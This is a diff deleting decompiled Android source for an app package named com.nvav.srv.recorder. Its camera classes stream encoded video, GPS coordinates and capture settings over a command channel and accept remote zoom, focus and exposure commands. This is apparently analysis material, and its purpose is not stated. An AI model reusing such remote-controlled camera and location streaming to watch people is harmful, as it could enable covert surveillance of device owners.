Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME)); - CameraHUAWEI.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array()); - this.time_out_param = System.currentTimeMillis(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) { - Log.d("CameraCaptureSession pr", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - }; - int endkey = 0; - int outbyte = 0; - short outFPS = 0; - long timebyte = System.currentTimeMillis(); - ByteArrayOutputStream output = new ByteArrayOutputStream(); - int iTest = 1; - - /* JADX INFO: Access modifiers changed from: private */ - public void setParams() { - try { - this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler2); - } catch (CameraAccessException e) { - this.comand.WriteErr(e); - } - } - - void StartRestart() { - try { - this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera"); - Starting = true; - HandlerThread handlerThread = new HandlerThread("CameraThread"); - this.mThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(this.mThread.getLooper()); - HandlerThread handlerThread2 = new HandlerThread("CameraThread2"); - this.mThread2 = handlerThread2; - handlerThread2.start(); - this.mHandler2 = new Handler(this.mThread2.getLooper()); - HandlerThread handlerThread3 = new HandlerThread("CameraThread3"); - this.mThread3 = handlerThread3; - handlerThread3.start(); - this.mHandler3 = new Handler(this.mThread3.getLooper()); - long currentTimeMillis = System.currentTimeMillis(); - while (System.currentTimeMillis() - currentTimeMillis <= 10000) { - String[] cameraIdList = this.mCameraManager.getCameraIdList(); - StringBuilder sb = new StringBuilder(); - for (String str : cameraIdList) { - sb.append(str).append(";"); - } - this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis))); - Thread.sleep(300L); - if (cameraIdList.length != 0) { - Stream stream = Arrays.stream(cameraIdList); - final String str2 = this.CamResFPS[1]; - Objects.requireNonNull(str2); - if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraHUAWEI$$ExternalSyntheticLambda0 - @Override // java.util.function.Predicate - public final boolean test(Object obj) { - boolean equals; - equals = str2.equals((String) obj); - return equals; - } - })) { - break; - } - } - } - this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - public CameraHUAWEI(CameraManager cameraManager, Speek speek, String str, Comand comand) { - this.CamResFPS = str.split(";"); - this.comand = comand; - comand.WriteOut(String.format("result=%s", str)); - this.speek = speek; - this.mBufferInfo = new MediaCodec.BufferInfo(); - StartRestart(); - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public void Stop() { - try { - Starting = false; - encode(true); - this.mCamera.close(); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void encode(boolean z) { - if (z) { - MediaCodec mediaCodec = this.mMediaCodec; - if (mediaCodec == null) { - return; - } - mediaCodec.signalEndOfInputStream(); - } - try { - int i = this.iTest; - int i2 = i / i; - int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L); - if (dequeueOutputBuffer < 0) { - if (dequeueOutputBuffer == -2) { - this.mMediaCodec.getOutputFormat(); - return; - } - return; - } - ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer); - if (outputBuffer == null) { - return; - } - if (this.mBufferInfo.size != 0) { - this.outbyte += this.mBufferInfo.size; - this.outFPS = (short) (this.outFPS + 1); - if (System.currentTimeMillis() - this.timebyte > 1000) { - this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(this.outFPS).putInt(this.outbyte).putInt((int) (System.currentTimeMillis() - this.timebyte)).array()); - this.outbyte = 0; - this.outFPS = (short) 0; - this.timebyte = System.currentTimeMillis(); - } - outputBuffer.position(this.mBufferInfo.offset); - outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size); - byte[] bArr = new byte[this.mBufferInfo.size]; - outputBuffer.get(bArr); - if (this.mBufferInfo.flags == 2) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(3); - byteArrayOutputStream.write(2); - byteArrayOutputStream.write(bArr); - byteArrayOutputStream.flush(); - this.config = byteArrayOutputStream.toByteArray(); - byteArrayOutputStream.close(); - } catch (IOException e) { - this.comand.WriteErr(e); - } - } else { - try { - this.countSend++; - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(3); - if (this.mBufferInfo.flags == 1) { - this.endkey = this.countSend; - this.comand.WriteOut(this.config); - byteArrayOutputStream2.write(1); - ByteBuffer allocate = ByteBuffer.allocate(4); - allocate.putInt(this.endkey); - byteArrayOutputStream2.write(allocate.array()); - } else { - byteArrayOutputStream2.write(0); - ByteBuffer allocate2 = ByteBuffer.allocate(8); - allocate2.putInt(this.countSend); - allocate2.putInt(this.endkey); - byteArrayOutputStream2.write(allocate2.array()); - } - byteArrayOutputStream2.write(bArr); - byteArrayOutputStream2.flush(); - this.comand.WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - } catch (IOException e2) { - this.comand.WriteErr(e2); - } - } - } - this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true); - } catch (ArithmeticException e3) { - this.comand.WriteErr(e3); - this.iTest = 1; - this.mMediaCodec.reset(); - } catch (IllegalStateException e4) { - this.comand.WriteErr(e4); - Restarting = true; - Starting = false; - } - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - private Point toThis(Point point) { - Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left; - point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top; - return point; - } - - private String ZoomNew(String str) { - try { - float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f; - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - int width = rect.width() / 2; - int height = rect.height() / 2; - int width2 = (int) ((rect.width() * 0.5f) / parseInt); - int height2 = (int) ((rect.height() * 0.5f) / parseInt); - Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2); - setParams(); - return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String ZoomPlus(String str, double d) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue(); - Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - String[] split = str.split(","); - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int round = (int) Math.round(rect2.width() * d); - int round2 = (int) Math.round(rect2.height() * d); - if (round < rect.width() / floatValue) { - round = (int) (rect.width() / floatValue); - } - if (round2 < rect.height() / floatValue) { - round2 = (int) (rect.height() / floatValue); - } - Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2)); - if (rect3.left < 0) { - rect3.right -= rect3.left; - rect3.left = 0; - } - if (rect3.top < 0) { - rect3.bottom -= rect3.top; - rect3.top = 0; - } - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String BrightPlus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1; - if (intValue > 4) { - intValue = 4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String BrightMinus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1; - if (intValue < -4) { - intValue = -4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String WhileBlack() { - String str = ""; - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0)); - str = "Black and white."; - setParams(); - return "Black and white."; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String ZoomMinus(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom)); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Monochrom(String str) { - int i = !str.equals("0"); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i)); - setParams(); - return i == 1 ? "Monochrom enable." : "Monochrom disable."; - } - - private Rect getRect(String str) { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - String[] split = str.split(","); - int parseInt = Integer.parseInt(split[2]); - int parseInt2 = Integer.parseInt(split[3]); - if (parseInt > rect.width()) { - parseInt = rect.width(); - } - if (parseInt2 > rect.height()) { - parseInt2 = rect.height(); - } - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int i = parseInt / 2; - int i2 = parseInt2 / 2; - Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2); - if (rect2.top < rect.top) { - rect2.bottom -= rect2.top - rect.top; - rect2.top = rect.top; - } - if (rect2.left < rect.left) { - rect2.right -= rect2.left - rect.left; - rect2.left = rect.left; - } - if (rect2.bottom > rect.bottom) { - rect2.bottom = rect.bottom; - } - if (rect2.right > rect.right) { - rect2.right = rect.right; - } - return rect2; - } - - private String AF(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - setParams(); - Rect rect2 = getRect(str); - if (rect.contains(rect2)) { - rect = rect2; - } - MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)}; - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1); - setParams(); - return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight())); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Focus(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f; - this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat)); - setParams(); - return String.format("Focus: %f", Float.valueOf(parseFloat)); - } - - private String Sensitivity(String str) { - int parseInt = Integer.parseInt(str); - Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE); - int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue)); - setParams(); - return String.format("Sensitivity: %d", Integer.valueOf(intValue)); - } - - private String ISO(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str))); - setParams(); - return String.format("ISO: %s", str); - } - - private String FPS(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("FPS: %s", str); - } - - private String Exposure(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("Exposure: %s", str); - } - - private String AE() { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1); - setParams(); - return "Enable AE"; - } - - private String UserMode(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0); - setParams(); - int parseInt = Integer.parseInt(trim); - if (parseInt == 0) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1); - } else { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2); - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt)); - setParams(); - return String.format("User mode: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String ABW(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1)); - setParams(); - return String.format("ABW: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String Test(String str) { - try { - this.iTest = 0; - return "test"; - } catch (Exception e) { - this.comand.WriteErr(e); - return "test"; - } - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public String SetCommand(String str, String str2) { - return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("Test") ? Test(str2) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MinISO() { - return this.MinISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MaxISO() { - return this.MaxISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int FPS() { - return this.FPS; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEIn.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEIn.java deleted file mode 100644 index f6d25c1..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraHUAWEIn.java +++ /dev/null @@ -1,741 +0,0 @@ -package com.nvav.srv.recorder; - -import android.graphics.Point; -import android.graphics.Rect; -import android.hardware.camera2.CameraAccessException; -import android.hardware.camera2.CameraCaptureSession; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession; -import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.CaptureFailure; -import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; -import android.hardware.camera2.TotalCaptureResult; -import android.hardware.camera2.params.MeteringRectangle; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.media.MediaCrypto; -import android.media.MediaFormat; -import android.os.Handler; -import android.os.HandlerThread; -import android.util.Log; -import android.util.Range; -import android.util.Size; -import android.view.Surface; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; -import java.util.function.Predicate; -import java.util.stream.Stream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CameraHUAWEIn implements ICameraRecord { - static boolean Restarting; - String[] CamResFPS; - Size MaxSize; - int aec; - int caem; - int cafm; - MeteringRectangle[] cafr; - int caft; - int cem; - Comand comand; - private byte[] config; - MediaFormat format; - private String id; - float lfd; - CameraDevice mCamera; - CameraManager mCameraManager; - Handler mHandler; - MediaCodec mMediaCodec; - List mOutputSurfaces; - CaptureRequest.Builder mRecordingRequestBuilder; - private Surface mRecordingSurface; - private CameraCaptureSession mSession; - private CameraConstrainedHighSpeedCaptureSession mSessionHI; - HandlerThread mThread; - CameraCharacteristics properties; - Rect rect; - Long set; - Long sfd; - Speek speek; - int ss; - private int countSend = 0; - public int MinISO = 0; - public int MaxISO = 0; - public int FPS = 30; - int endkey = 0; - int outbyte = 0; - short outFPS = 0; - long timebyte = System.currentTimeMillis(); - private final MediaCodec.Callback mediaCodecCallback = new MediaCodec.Callback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.1 - @Override // android.media.MediaCodec.Callback - public void onInputBufferAvailable(MediaCodec mediaCodec, int i) { - } - - @Override // android.media.MediaCodec.Callback - public void onOutputBufferAvailable(MediaCodec mediaCodec, int i, MediaCodec.BufferInfo bufferInfo) { - try { - ByteBuffer outputBuffer = CameraHUAWEIn.this.mMediaCodec.getOutputBuffer(i); - if (outputBuffer != null && bufferInfo.size != 0) { - CameraHUAWEIn.this.outbyte += bufferInfo.size; - CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this; - cameraHUAWEIn.outFPS = (short) (cameraHUAWEIn.outFPS + 1); - if (System.currentTimeMillis() - CameraHUAWEIn.this.timebyte > 1000) { - CameraHUAWEIn.this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(CameraHUAWEIn.this.outFPS).putInt(CameraHUAWEIn.this.outbyte).putInt((int) (System.currentTimeMillis() - CameraHUAWEIn.this.timebyte)).array()); - CameraHUAWEIn.this.outbyte = 0; - CameraHUAWEIn.this.outFPS = (short) 0; - CameraHUAWEIn.this.timebyte = System.currentTimeMillis(); - } - outputBuffer.position(bufferInfo.offset); - outputBuffer.limit(bufferInfo.offset + bufferInfo.size); - byte[] bArr = new byte[bufferInfo.size]; - outputBuffer.get(bArr); - if (bufferInfo.flags == 2) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(3); - byteArrayOutputStream.write(2); - byteArrayOutputStream.write(bArr); - byteArrayOutputStream.flush(); - CameraHUAWEIn.this.config = byteArrayOutputStream.toByteArray(); - byteArrayOutputStream.close(); - } catch (IOException e) { - CameraHUAWEIn.this.comand.WriteErr(e); - } - } else { - try { - CameraHUAWEIn.access$108(CameraHUAWEIn.this); - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(3); - if (bufferInfo.flags == 1) { - CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this; - cameraHUAWEIn2.endkey = cameraHUAWEIn2.countSend; - CameraHUAWEIn.this.comand.WriteOut(CameraHUAWEIn.this.config); - byteArrayOutputStream2.write(1); - ByteBuffer allocate = ByteBuffer.allocate(4); - allocate.putInt(CameraHUAWEIn.this.endkey); - byteArrayOutputStream2.write(allocate.array()); - } else { - byteArrayOutputStream2.write(0); - ByteBuffer allocate2 = ByteBuffer.allocate(8); - allocate2.putInt(CameraHUAWEIn.this.countSend); - allocate2.putInt(CameraHUAWEIn.this.endkey); - byteArrayOutputStream2.write(allocate2.array()); - } - byteArrayOutputStream2.write(bArr); - byteArrayOutputStream2.flush(); - CameraHUAWEIn.this.comand.WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - } catch (IOException e2) { - CameraHUAWEIn.this.comand.WriteErr(e2); - } - } - } - CameraHUAWEIn.this.mMediaCodec.releaseOutputBuffer(i, true); - } catch (ArithmeticException e3) { - CameraHUAWEIn.this.comand.WriteErr(e3); - CameraHUAWEIn.this.mMediaCodec.reset(); - } catch (IllegalStateException e4) { - CameraHUAWEIn.this.comand.WriteErr(e4); - CameraHUAWEIn.Restarting = true; - } - } - - @Override // android.media.MediaCodec.Callback - public void onError(MediaCodec mediaCodec, MediaCodec.CodecException codecException) { - CameraHUAWEIn.this.comand.WriteOut("result=MediaCodecf onError."); - } - - @Override // android.media.MediaCodec.Callback - public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) { - CameraHUAWEIn.this.mMediaCodec.getOutputFormat(); - CameraHUAWEIn.this.comand.WriteOut("result=MediaCodecf onOutputFormatChanged."); - } - }; - private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.2 - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onOpened(CameraDevice cameraDevice) { - CameraHUAWEIn.this.comand.WriteOut("result=Camera open."); - try { - CameraHUAWEIn.this.mCamera = cameraDevice; - CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this; - cameraHUAWEIn.properties = cameraHUAWEIn.mCameraManager.getCameraCharacteristics(CameraHUAWEIn.this.mCamera.getId()); - Size[] outputSizes = ((StreamConfigurationMap) CameraHUAWEIn.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class); - CameraHUAWEIn.this.MaxSize = null; - for (Size size : outputSizes) { - if (size.getWidth() == Integer.parseInt(CameraHUAWEIn.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraHUAWEIn.this.CamResFPS[3])) { - CameraHUAWEIn.this.MaxSize = size; - } - } - CameraHUAWEIn.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraHUAWEIn.this.MaxSize.getWidth()), Integer.valueOf(CameraHUAWEIn.this.MaxSize.getHeight()))); - CameraHUAWEIn cameraHUAWEIn2 = CameraHUAWEIn.this; - cameraHUAWEIn2.format = MediaFormat.createVideoFormat("video/avc", cameraHUAWEIn2.MaxSize.getWidth(), CameraHUAWEIn.this.MaxSize.getHeight()); - CameraHUAWEIn.this.format.setInteger("color-format", 2130708361); - CameraHUAWEIn cameraHUAWEIn3 = CameraHUAWEIn.this; - cameraHUAWEIn3.FPS = Integer.parseInt(cameraHUAWEIn3.CamResFPS[5]); - CameraHUAWEIn.this.format.setInteger("bitrate", Integer.parseInt(CameraHUAWEIn.this.CamResFPS[0])); - CameraHUAWEIn.this.format.setInteger("frame-rate", CameraHUAWEIn.this.FPS); - CameraHUAWEIn.this.format.setInteger("i-frame-interval", 1); - CameraHUAWEIn.this.comand.WriteOut(String.format("result=BitRate:%s", CameraHUAWEIn.this.CamResFPS[0])); - CameraHUAWEIn.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraHUAWEIn.this.format.getInteger("bitrate")))); - CameraHUAWEIn.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraHUAWEIn.this.format.getInteger("frame-rate")))); - CameraHUAWEIn.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc"); - CameraHUAWEIn.this.mMediaCodec.configure(CameraHUAWEIn.this.format, (Surface) null, (MediaCrypto) null, 1); - CameraHUAWEIn.this.mMediaCodec.setCallback(CameraHUAWEIn.this.mediaCodecCallback); - CameraHUAWEIn cameraHUAWEIn4 = CameraHUAWEIn.this; - cameraHUAWEIn4.mRecordingSurface = cameraHUAWEIn4.mMediaCodec.createInputSurface(); - CameraHUAWEIn.this.mOutputSurfaces = new ArrayList(); - CameraHUAWEIn.this.mOutputSurfaces.add(CameraHUAWEIn.this.mRecordingSurface); - CameraHUAWEIn.this.mCamera.createCaptureSession(CameraHUAWEIn.this.mOutputSurfaces, CameraHUAWEIn.this.sessionListener, null); - CameraHUAWEIn.this.mMediaCodec.start(); - } catch (Exception e) { - CameraHUAWEIn.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onClosed(CameraDevice cameraDevice) { - CameraHUAWEIn.this.comand.WriteOut("result=Camera close."); - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onDisconnected(CameraDevice cameraDevice) { - CameraHUAWEIn.this.comand.WriteOut("result=Camera disconnected."); - CameraHUAWEIn.Restarting = true; - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onError(CameraDevice cameraDevice, int i) { - CameraHUAWEIn.this.comand.WriteOut("result=Camera error."); - CameraHUAWEIn.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i))); - } - }; - CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraHUAWEIn.3 - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigured(CameraCaptureSession cameraCaptureSession) { - try { - CameraHUAWEIn.this.comand.WriteOut("result=Session configure."); - CameraHUAWEIn.this.mSession = cameraCaptureSession; - CameraHUAWEIn cameraHUAWEIn = CameraHUAWEIn.this; - cameraHUAWEIn.mRecordingRequestBuilder = cameraHUAWEIn.mCamera.createCaptureRequest(3); - CameraHUAWEIn.this.mRecordingRequestBuilder.addTarget(CameraHUAWEIn.this.mRecordingSurface); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraHUAWEIn.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraHUAWEIn.this.CamResFPS[5])))); - CameraHUAWEIn.this.setParams(); - if (CameraHUAWEIn.Restarting) { - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraHUAWEIn.this.rect); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraHUAWEIn.this.aec)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraHUAWEIn.this.cem)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraHUAWEIn.this.cafr); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraHUAWEIn.this.ss)); - CameraHUAWEIn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraHUAWEIn.this.sfd); - 